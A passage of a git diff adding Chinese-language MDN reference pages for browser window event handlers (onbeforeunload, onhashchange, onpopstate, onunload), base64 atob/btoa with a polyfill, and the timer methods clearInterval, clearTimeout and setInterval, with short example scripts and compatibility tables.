{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
- -

Polyfill

- -
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
-(function() {
-    // base64 character set, plus padding character (=)
-    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
-
-        // Regular expression to check formal correctness of base64 encoded strings
-        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
-
-    window.btoa = window.btoa || function(string) {
-        string = String(string);
-        var bitmap, a, b, c,
-            result = "",
-            i = 0,
-            rest = string.length % 3; // To determine the final padding
-
-        for (; i < string.length;) {
-            if ((a = string.charCodeAt(i++)) > 255 ||
-                (b = string.charCodeAt(i++)) > 255 ||
-                (c = string.charCodeAt(i++)) > 255)
-                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
-
-            bitmap = (a << 16) | (b << 8) | c;
-            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
-                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
-        }
-
-        // If there's need of padding, replace the last 'A's with equal signs
-        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
-    };
-
-    window.atob = window.atob || function(string) {
-        // atob can work with strings with whitespaces, even inside the encoded part,
-        // but only \t, \n, \f, \r and ' ', which can be stripped.
-        string = String(string).replace(/[\t\n\f\r ]+/g, "");
-        if (!b64re.test(string))
-            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
-
-        // Adding the padding if missing, for semplicity
-        string += "==".slice(2 - (string.length & 3));
-        var bitmap, result = "",
-            r1, r2, i = 0;
-        for (; i < string.length;) {
-            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
-                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
-
-            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
-                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
-                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
-        }
-        return result;
-    };
-})()
-
- -

浏览器兼容性

- -

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html new file mode 100644 index 0000000000..78bed99eb9 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onbeforeunload/index.html @@ -0,0 +1,111 @@ +--- +title: window.onbeforeunload +slug: Web/API/Window/onbeforeunload +translation_of: Web/API/WindowEventHandlers/onbeforeunload +--- +
{{ApiRef}}
+ +

概述

+ +

当窗口即将被{{domxref("window.onunload","卸载(关闭)")}}时,会触发该事件.此时页面文档依然可见,且该事件的默认动作可以被{{domxref("event.preventDefault","取消")}}.

+ +

语法

+ +
window.onbeforeunload = funcRef
+ + + +

示例

+ +
window.onbeforeunload = function (e) {
+  e = e || window.event;
+
+  // 兼容IE8和Firefox 4之前的版本
+  if (e) {
+    e.returnValue = '关闭提示';
+  }
+
+  // Chrome, Safari, Firefox 4+, Opera 12+ , IE 9+
+  return '关闭提示';
+};
+
+ +

附注

+ +

当该事件返回的字符串(事前设置好的event.returnValue的值)不为null或者undefined时,弹出确认窗口让用户自行选择是否关闭当前页面。一些浏览器将该事件返回的字符串显示在弹出窗上。从Firefox 4、 Chrome 51、Opera 38 和Safari 9.1开始,通用确认信息代替事件返回的字符串。比如,火狐上会显示“本页面要求您确认您要离开 - 您输入的数据可能不会被保存”,请查阅{{bug("588292")}}和Chrome Platform Status

+ +

从2011年5月25日起,  HTML5 规范 声明:在该事件的处理函数中调用下列弹窗相关的方法时,可以忽略不执行,window.showModalDialog(), window.alert(), window.confirm() window.prompt().

+ +

需要指出的是,许多浏览器会忽略该事件并自动关闭页面无需用户的确认。火狐浏览器在配置页面about:config设有一个dom.disable_beforeunload的开关变量用于开启这个功能。

+ +

你可以通过{{domxref("EventTarget.addEventListener","window.addEventListener()")}} 或者 {{event("beforeunload")}} 创建该事件。更多信息请点击以上链接。

+ +

创建这个事件能防止浏览器缓存部分由javascript产生的页面内容。在页面中含Javascript产生的内容情形下,再次导航返回到原页面javascript不在运行。如果事先有window.onbeforeunload事件,导航返回到先前的页面后javascript将被触发并更新页面内容。

+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support114123
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

规范

+ +

该事件最初是由微软公司的IE4引进,虽然没有公开的规范说明,但所有浏览器都支持该事件.目前已被添加至HTML5规范草案中.

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html new file mode 100644 index 0000000000..0c7f3ebefa --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onhashchange/index.html @@ -0,0 +1,124 @@ +--- +title: window.onhashchange +slug: Web/API/Window/onhashchange +tags: + - HTML-DOM + - Property + - Reference + - WindowEventHandlers +translation_of: Web/API/WindowEventHandlers/onhashchange +--- +

{{APIRef("HTML DOM")}}

+ +

当 一个窗口的 hash (URL 中 # 后面的部分)改变时就会触发 hashchange 事件(参见 {{domxref("Window.location", "location.hash")}})。

+ +

语法

+ +
window.onhashchange = funcRef;
+
+ +

或者

+ +
<body onhashchange="funcRef();">
+ +

以上操作将覆盖现有的事件处理程序。

+ +

为了添加一个新的事件处理程序,而不覆盖掉已有的其他事件处理程序,可以使用函数 "addEventListener"

+ +
window.addEventListener("hashchange", funcRef, false);
+
+ +

参数

+ +
+
funcRef
+
对一个函数的引用。
+
+ +

例子

+ +
if ("onhashchange" in window) {
+    alert("该浏览器支持 hashchange 事件!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+
+ +

hashchange 事件

+ +

hashchange 事件对象有下面两个属性:

+ + + + + + + + + + + + + + + + + + + +
属性类型描述
newURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面新的URL
oldURL {{ gecko_minversion_inline("6.0") }}DOMString当前页面旧的URL
+ +

Workaround for event.newURL and event.oldURL

+ +
//let this snippet run before your hashchange event binding code
+if(!window.HashChangeEvent)(function(){
+	var lastURL=document.URL;
+	window.addEventListener("hashchange",function(event){
+		Object.defineProperty(event,"oldURL",{enumerable:true,configurable:true,value:lastURL});
+		Object.defineProperty(event,"newURL",{enumerable:true,configurable:true,value:document.URL});
+		lastURL=document.URL;
+	});
+}());
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}} 
{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ +

{{Compat("api.WindowEventHandlers.onhashchange")}}

+ + diff --git a/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html new file mode 100644 index 0000000000..6efc1ec835 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onpopstate/index.html @@ -0,0 +1,68 @@ +--- +title: window.onpopstate +slug: Web/API/Window/onpopstate +translation_of: Web/API/WindowEventHandlers/onpopstate +--- +

{{ ApiRef() }}

+ +

{{ gecko_minversion_header("2") }}

+ +

概述

+ +

window.onpopstatepopstate事件在window对象上的事件处理程序.

+ +

每当处于激活状态的历史记录条目发生变化时,popstate事件就会在对应window对象上触发. 如果当前处于激活状态的历史记录条目是由history.pushState()方法创建,或者由history.replaceState()方法修改过的, 则popstate事件对象的state属性包含了这个历史记录条目的state对象的一个拷贝.

+ +

注意:调用history.pushState()或者history.replaceState()不会触发popstate事件. popstate事件只会在浏览器某些行为下触发, 比如点击后退、前进按钮(或者在JavaScript中调用history.back()、history.forward()、history.go()方法),此外,a 标签的锚点也会触发该事件.

+ +

当网页加载时,各浏览器对popstate事件是否触发有不同的表现,Chrome 和 Safari会触发popstate事件, 而Firefox不会.

+ +

语法

+ +
window.onpopstate = funcRef;
+
+ + + +

popstate事件

+ +

假如当前网页地址为http://example.com/example.html,则运行下述代码后:

+ +
window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+//绑定事件处理函数.
+history.pushState({page: 1}, "title 1", "?page=1");    //添加并激活一个历史记录条目 http://example.com/example.html?page=1,条目索引为1
+history.pushState({page: 2}, "title 2", "?page=2");    //添加并激活一个历史记录条目 http://example.com/example.html?page=2,条目索引为2
+history.replaceState({page: 3}, "title 3", "?page=3"); //修改当前激活的历史记录条目 http://ex..?page=2 变为 http://ex..?page=3,条目索引为3
+history.back(); // 弹出 "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // 弹出 "location: http://example.com/example.html, state: null
+history.go(2);  // 弹出 "location: http://example.com/example.html?page=3, state: {"page":3}
+
+ +

即便进入了那些非pushState和replaceState方法作用过的(比如http://example.com/example.html)没有state对象关联的那些网页, popstate事件也仍然会被触发.

+ +

规范

+ + + +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onpopstate")}}

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/window.onpopstate" } ) }}

diff --git a/files/zh-cn/web/api/windoweventhandlers/onunload/index.html b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html new file mode 100644 index 0000000000..5e766c1d67 --- /dev/null +++ b/files/zh-cn/web/api/windoweventhandlers/onunload/index.html @@ -0,0 +1,69 @@ +--- +title: window.onunload +slug: Web/API/Window/onunload +translation_of: Web/API/WindowEventHandlers/onunload +--- +

{{ ApiRef("HTML DOM") }}

+ +

概述

+ +

{{domxref("WindowEventHandlers")}} 的混入特性 onunload 是 {{domxref("EventHandler")}}  处理 {{Event("unload")}} 事件的方法。该事件在关闭窗口资源和内容的时候触发。页面资源的清除工作会在 unload  事件之后进行。

+ +
+

注意事项: 具备弹窗阻止功能的浏览器会忽略 onunload  事件回调中调用的 {{domxref("Window.open()")}} 方法。

+
+ +
+

onunload 特性(乃至 unload 事件本身) 并非使用 sendBeacon()的正确途径,要调用 sendBeacon() 接口,应当使用 visibilitychange 和 pagehide 事件。 参见 Beacon API is broken

+
+ +

语法

+ +
window.addEventListener("unload", function(event) { ... });
+window.onunload = function(event) { ... };
+ +

通常而言,我们推荐使用 {{domxref("EventTarget.addEventListener", "window.addEventListener()")}} 来监听 {{event("unload")}} 事件,而不是直接给 onunload 赋值。

+ +

例子

+ +
<html>
+<head>
+
+<title>onunload test</title>
+
+<script type="text/javascript">
+
+window.onunload = unloadPage;
+
+function unloadPage()
+{
+ alert("unload event detected!");
+}
+</script>
+</head>
+
+<body>
+<p>Reload a new page into the browser<br />
+ to fire the unload event for this page.</p>
+<p>You can also use the back or forward buttons<br />
+ to load a new page and fire this event.</p>
+</body>
+</html>
+
+
+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( {"en": "en/DOM/window.onunload" } ) }}

+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowEventHandlers.onunload")}}

+ +

在 Firefox 1.5 中,页面使用此事件处理程序会阻止浏览器在 bfcache 内存中缓存页面(译者注:翻译可能没有达意,请对照英文原文)。详细信息请参阅使用 Firefox 1.5:缓存

diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html new file mode 100644 index 0000000000..2892e403d4 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/atob/index.html @@ -0,0 +1,78 @@ +--- +title: WindowOrWorkerGlobalScope.atob() +slug: Web/API/WindowBase64/atob +tags: + - API + - Base64 + - DOM + - WindowOrWorkerGlobalScope + - atob + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/atob +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.atob() 对经过 base-64 编码的字符串进行解码。你可以使用 {{domxref("WindowBase64.btoa","window.btoa()")}} 方法来编码一个可能在传输过程中出现问题的数据,并且在接受数据之后,使用 atob() 方法再将数据解码。例如:你可以编码、传输和解码操作各种字符,比如 0-31 的 ASCII 码值。

+ +

关于针对 Unicode 或者 UTF-8 的应用方面,请查看 this note at Base64 encoding and decodingbtoa() 的备注

+ +

语法

+ +
var decodedData = scope.atob(encodedData);
+ +

异常

+ +

如果传入字符串不是有效的 base64 字符串,比如其长度不是 4 的倍数,则抛出{{jsxref("DOMException")}}。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties were on the target before it).
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.atob")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html new file mode 100644 index 0000000000..6b742198a5 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/btoa/index.html @@ -0,0 +1,171 @@ +--- +title: WindowOrWorkerGlobalScope.btoa() +slug: Web/API/WindowBase64/btoa +tags: + - API + - Base64 + - Web + - WindowOrWorkerGlobalScope + - 参考 + - 字符串 + - 数据 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/btoa +--- +

{{APIRef("HTML DOM")}}

+ +

WindowOrWorkerGlobalScope.btoa() 从 {{jsxref("String")}} 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。

+ +
+

Note: 由于这个函数将每个字符视为二进制数据的字节,而不管实际组成字符的字节数是多少,所以如果任何字符的{{Glossary("code point", "码位")}}超出 0x00 ~ 0xFF 这个范围,则会引发 InvalidCharacterError 异常。请参阅 {{anch("Unicode_字符串")}} ,该示例演示如何编码含有码位超出 0x00 ~ 0xFF 范围的字符的字符串。

+
+ +

语法

+ +
let encodedData = window.btoa(stringToEncode);
+
+ +

参数

+ +
+
stringToEncode
+
一个字符串, 其字符分别表示要编码为 ASCII 的二进制数据的单个字节。
+
+ +

返回值

+ +

一个包含 stringToEncode 的 Base64 表示的字符串。

+ +

示例

+ +
let encodedData = window.btoa("Hello, world"); // 编码
+let decodedData = window.atob(encodedData);    // 解码
+
+ +

备注

+ +

你可以使用此方法对可能导致通信问题的数据进行编码,传输,然后使用 {{domxref("WindowOrWorkerGlobalScope.atob","atob()")}} 方法再次解码数据。例如,可以编码控制字符,包括 ASCII 值为 0 到 31 的字符。

+ +

在用 JavaScript 编写 XPCOM 组件时,btoa() 方法也是可用的,虽然全局对象已经不是 {{domxref("Window")}} 了。

+ +

Unicode 字符串

+ +

在多数浏览器中,使用 btoa() 对 Unicode 字符串进行编码都会触发 InvalidCharacterError 异常。

+ +

一种选择是转义任何扩展字符,以便实际编码的字符串是原始字符的 ASCII 表示形式。考虑这个例子,代码来自 Johan Sundström

+ +
// ucs-2 string to base64 encoded ascii
+function utoa(str) {
+    return window.btoa(unescape(encodeURIComponent(str)));
+}
+// base64 encoded ascii to ucs-2 string
+function atou(str) {
+    return decodeURIComponent(escape(window.atob(str)));
+}
+// Usage:
+utoa('✓ à la mode'); // 4pyTIMOgIGxhIG1vZGU=
+atou('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+
+utoa('I \u2661 Unicode!'); // SSDimaEgVW5pY29kZSE=
+atou('SSDimaEgVW5pY29kZSE='); // "I ♡ Unicode!"
+
+ +

更好、更可靠、性能更优异的解决方案是使用类型化数组进行转换。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-btoa', 'WindowOrWorkerGlobalScope.btoa()')}}{{Spec2('HTML WHATWG')}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML5.1', '#dom-windowbase64-btoa', 'WindowBase64.btoa()')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. No change.
{{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}}{{Spec2('HTML5 W3C')}}Snapshot of {{SpecName("HTML WHATWG")}}. Creation of WindowBase64 (properties where on the target before it).
+ +

Polyfill

+ +
// Polyfill from  https://github.com/MaxArt2501/base64-js/blob/master/base64.js
+(function() {
+    // base64 character set, plus padding character (=)
+    var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+
+        // Regular expression to check formal correctness of base64 encoded strings
+        b64re = /^(?:[A-Za-z\d+\/]{4})*?(?:[A-Za-z\d+\/]{2}(?:==)?|[A-Za-z\d+\/]{3}=?)?$/;
+
+    window.btoa = window.btoa || function(string) {
+        string = String(string);
+        var bitmap, a, b, c,
+            result = "",
+            i = 0,
+            rest = string.length % 3; // To determine the final padding
+
+        for (; i < string.length;) {
+            if ((a = string.charCodeAt(i++)) > 255 ||
+                (b = string.charCodeAt(i++)) > 255 ||
+                (c = string.charCodeAt(i++)) > 255)
+                throw new TypeError("Failed to execute 'btoa' on 'Window': The string to be encoded contains characters outside of the Latin1 range.");
+
+            bitmap = (a << 16) | (b << 8) | c;
+            result += b64.charAt(bitmap >> 18 & 63) + b64.charAt(bitmap >> 12 & 63) +
+                b64.charAt(bitmap >> 6 & 63) + b64.charAt(bitmap & 63);
+        }
+
+        // If there's need of padding, replace the last 'A's with equal signs
+        return rest ? result.slice(0, rest - 3) + "===".substring(rest) : result;
+    };
+
+    window.atob = window.atob || function(string) {
+        // atob can work with strings with whitespaces, even inside the encoded part,
+        // but only \t, \n, \f, \r and ' ', which can be stripped.
+        string = String(string).replace(/[\t\n\f\r ]+/g, "");
+        if (!b64re.test(string))
+            throw new TypeError("Failed to execute 'atob' on 'Window': The string to be decoded is not correctly encoded.");
+
+        // Adding the padding if missing, for semplicity
+        string += "==".slice(2 - (string.length & 3));
+        var bitmap, result = "",
+            r1, r2, i = 0;
+        for (; i < string.length;) {
+            bitmap = b64.indexOf(string.charAt(i++)) << 18 | b64.indexOf(string.charAt(i++)) << 12 |
+                (r1 = b64.indexOf(string.charAt(i++))) << 6 | (r2 = b64.indexOf(string.charAt(i++)));
+
+            result += r1 === 64 ? String.fromCharCode(bitmap >> 16 & 255) :
+                r2 === 64 ? String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255) :
+                String.fromCharCode(bitmap >> 16 & 255, bitmap >> 8 & 255, bitmap & 255);
+        }
+        return result;
+    };
+})()
+
+ +

浏览器兼容性

+ +

{{Compat("api.WindowOrWorkerGlobalScope.btoa")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html new file mode 100644 index 0000000000..9a2d6e1790 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/clearinterval/index.html @@ -0,0 +1,74 @@ +--- +title: WindowTimers.clearInterval() +slug: Web/API/Window/clearInterval +tags: + - API + - WindowOrWorkerGlobalScope + - 参考 + - 方法 +translation_of: Web/API/WindowOrWorkerGlobalScope/clearInterval +--- +
{{ApiRef("HTML DOM")}}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} mixin 的 clearInterval() 方法可取消先前通过 {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 设置的重复定时任务。

+ +

语法

+ +
scope.clearInterval(intervalID)
+
+ +

Parameters

+ +
+
intervalID
+
要取消的定时器的 ID。是由 setInterval() 返回的。
+
+ +

值得一提的是,{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} 和 {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} 共用其定义的 IDs,即可以使用 clearInterval() 和 {{domxref("WindowOrWorkerGlobalScope.clearTimeout", "clearTimeout()")}} 中的任意一个。然而,为了使代码可读性更强,你应该尽量避免这种用法。

+ +

返回值

+ +

{{jsxref("undefined")}}

+ +

示例

+ +

查看 setInterval() 的示例

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'WindowOrWorkerGlobalScope.clearInterval()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-clearinterval', 'clearInterval()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.WindowOrWorkerGlobalScope.clearInterval")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html new file mode 100644 index 0000000000..4b20c970d7 --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/cleartimeout/index.html @@ -0,0 +1,150 @@ +--- +title: WindowOrWorkerGlobalScope.clearTimeout() +slug: Web/API/WindowTimers/clearTimeout +tags: + - API + - WindowOrWorkerGlobalScope + - clearTimeout +translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

{{domxref("WindowOrWorkerGlobalScope")}}内置的clearTimeout()方法取消了先前通过调用{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}建立的定时器。

+ +

语法

+ +
scope.clearTimeout(timeoutID)
+ + + +

Parameters

+ +
+
timeoutID
+
您要取消定时器的标识符。 该ID由相应的setTimeout()调用返回。
+
+ +

值得注意的是,{{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}和{{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}}使用共享的ID池, 意味着在技术上可以混用clearTimeout()和{{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} 。 但是,为了清楚起见,你应该避免这样做。

+ +

示例

+ +

在一个网页中运行如下脚本,并且点击一次页面。一秒钟后你会看见弹出一条信息。如果你在一秒内不停点击页面,弹出框将不再出现。

+ +
var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    delete this.timeoutID;
+  },
+
+  setup: function() {
+    this.cancel();
+    var self = this;
+    this.timeoutID = window.setTimeout(function(msg) {self.remind(msg);}, 1000, "Wake up!");
+  },
+
+  cancel: function() {
+    if(typeof this.timeoutID == "number") {
+      window.clearTimeout(this.timeoutID);
+      delete this.timeoutID;
+    }
+  }
+};
+window.onclick = function() { alarm.setup() };
+ +

注意

+ +

传入一个错误的 ID 给 clearTimeout()不会有任何影响;也不会抛出异常。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}{{Spec2("HTML WHATWG")}}Method moved to the WindowOrWorkerGlobalScope mixin in the latest spec.
{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatVersionUnknown}}{{CompatGeckoDesktop("1")}}
+ {{CompatGeckoDesktop("52")}}[1]
4.04.01.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support1.01.0{{CompatVersionUnknown}}{{CompatGeckoMobile("1")}}
+ {{CompatGeckoMobile("52")}}[1]
6.06.01.0
+
+ +

[1] clearTimeout() now defined on {{domxref("WindowOrWorkerGlobalScope")}} mixin.

+ +

更多

+ + diff --git a/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html new file mode 100644 index 0000000000..385a19b81b --- /dev/null +++ b/files/zh-cn/web/api/windoworworkerglobalscope/setinterval/index.html @@ -0,0 +1,635 @@ +--- +title: window.setInterval +slug: Web/API/Window/setInterval +tags: + - API + - DOM + - 定时 + - 方法 + - 时间 +translation_of: Web/API/WindowOrWorkerGlobalScope/setInterval +--- +
{{ ApiRef("HTML DOM") }}
+ +

{{domxref("WindowOrWorkerGlobalScope")}} 的 setInterval() 方法重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。

+ +

在窗口和工作接口上提供的setInterval()方法重复调用函数或执行代码片段,每次调用之间有固定的时间延迟。它返回一个时间间隔ID,该ID唯一地标识时间间隔,因此您可以稍后通过调用clearInterval()来删除它。这个方法是由WindowOrWorkerGlobalScope mixin定义的。

+ +

语法

+ +
var intervalID = scope.setInterval(func, delay, [arg1, arg2, ...]);
+var intervalID = scope.setInterval(code, delay);
+
+ +

参数

+ +
+
func
+
要重复调用的函数。 每经过指定 延迟 毫秒后执行的{{jsxref("函数")}} 。该函数不接受任何参数,也没有返回值。
+
code
+
这个语法是可选的,你可以传递一个字符串来代替一个函数对象,你传递的字符串会被编译然后每个delay毫秒时间内执行一次。这个语法因为存在安全风险所以不被推荐使用。
+
delay
+
是每次延迟的毫秒数 (一秒等于1000毫秒),函数的每次调用会在该延迟之后发生。和setTimeout一样,实际的延迟时间可能会稍长一点。这个时间计算单位是毫秒(千分之一秒),这个定时器会使指定方法或者代码段执行的时候进行时间延迟。如果这个参数值小于10,则默认使用值为10。请注意,真正延迟时间或许更长; 请参考示例: {{SectionOnPage("/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout", "Reasons for delays longer than specified")}} 
+
arg1, ..., argN {{optional_inline}}
+
当定时器过期的时候,将被传递给func指定函数的附加参数。
+
+ +

返回值

+ +

此返回值intervalID是一个非零数值,用来标识通过setInterval()创建的计时器,这个值可以用来作为clearInterval()的参数来清除对应的计时器 。

+ +

值得注意的是,setInterval()setTimeout()共享同一个ID池,并且clearInterval()clearTimeout()在技术上是可互换使用的。但是,我们必须去匹配clearInterval()clearTimeout()对应的id,以避免代码杂乱无章,增强代码的可维护性。

+ +
Note: The delay argument is converted to a signed 32-bit integer. This effectively limits delay to 2147483647 ms, since it's specified as a signed integer in the IDL.
+ +

示例

+ +

例1:基本用法

+ +

下面例子是 setInterval()的基本语法

+ +
var intervalID = window.setInterval(myCallback, 500, 'Parameter 1', 'Parameter 2');
+
+function myCallback(a, b)
+{
+ // Your code here
+ // Parameters are purely optional.
+ console.log(a);
+ console.log(b);
+}
+
+ +

例2:两种颜色的切换

+ +

下面的例子里会每隔一秒就调用函数 flashtext() 一次,直至你通过按下 Stop 按钮来清除本次重复操作的唯一辨识符 intervalID

+ +
<!DOCTYPE html>
+<html>
+<head>
+  <meta charset="UTF-8" />
+  <title>setInterval/clearInterval example</title>
+
+  <script>
+    var nIntervId;
+
+    function changeColor() {
+      nIntervId = setInterval(flashText, 1000);
+    }
+
+    function flashText() {
+      var oElem = document.getElementById('my_box');
+      oElem.style.color = oElem.style.color == 'red' ? 'blue' : 'red';
+      // oElem.style.color == 'red' ? 'blue' : 'red' is a ternary operator.
+    }
+
+    function stopTextColor() {
+      clearInterval(nIntervId);
+    }
+  </script>
+</head>
+
+<body onload="changeColor();">
+  <div id="my_box">
+    <p>Hello World</p>
+  </div>
+
+  <button onclick="stopTextColor();">Stop</button>
+</body>
+</html>
+
+ +

例3:打字机效果

+ +

下面这个例子通过键入、删除和再次键入所有 NodeList 中的符合特定的选择器的字符,以达到打字机的效果。

+ +
+
<!DOCTYPE html>
+<html>
+<head>
+<meta charset="UTF-8" />
+<title>JavaScript Typewriter - MDN Example</title>
+<script>
+function Typewriter (sSelector, nRate) {
+
+  function clean () {
